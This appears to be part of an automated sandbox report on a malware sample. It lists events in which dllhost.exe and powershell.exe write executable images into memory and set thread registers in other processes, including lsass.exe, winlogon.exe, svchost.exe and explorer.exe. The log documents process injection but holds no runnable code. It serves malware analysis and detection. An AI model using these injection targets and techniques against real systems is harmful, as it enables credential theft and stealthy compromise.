Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 25A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2840000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 21E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2CC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2780000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1110000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2B20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2120000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 21B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2490000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 26B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2960000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2830000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2850000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3000000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3020000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2770000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2790000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2BE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 22F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2310000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 25E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2600000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2DE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2C10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2D40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1550000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1220000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2CF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2930000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2950000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 24B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 24D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 26F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2710000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 27E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2800000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: C50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: CC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2950000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2970000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: C50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: C70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: A40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1490000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2F60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 810000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 22E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 3060000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2050000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2070000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2240000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 5D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 5F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: E30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1370000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 630000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 650000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: DE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: E00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1180000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 22F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 700000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 790000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 1230000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 9E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\cmd.exe base: 2512A6B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1BEB0A00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 253DFF90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 22F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\pjsDgtaXiJfCKIklXamIjJuMmvOyuMAOTvuryqXtWBKeAiGnuiIcqHTZdGJtMQuHolL\cbqXnSEGOVXp.exe base: 2730000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dllhost.exe

Memory written: PID: 2580 base: 3140000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 5752	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 5016	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 1200	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 412	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 945657010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF190000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000	Jump to behavior
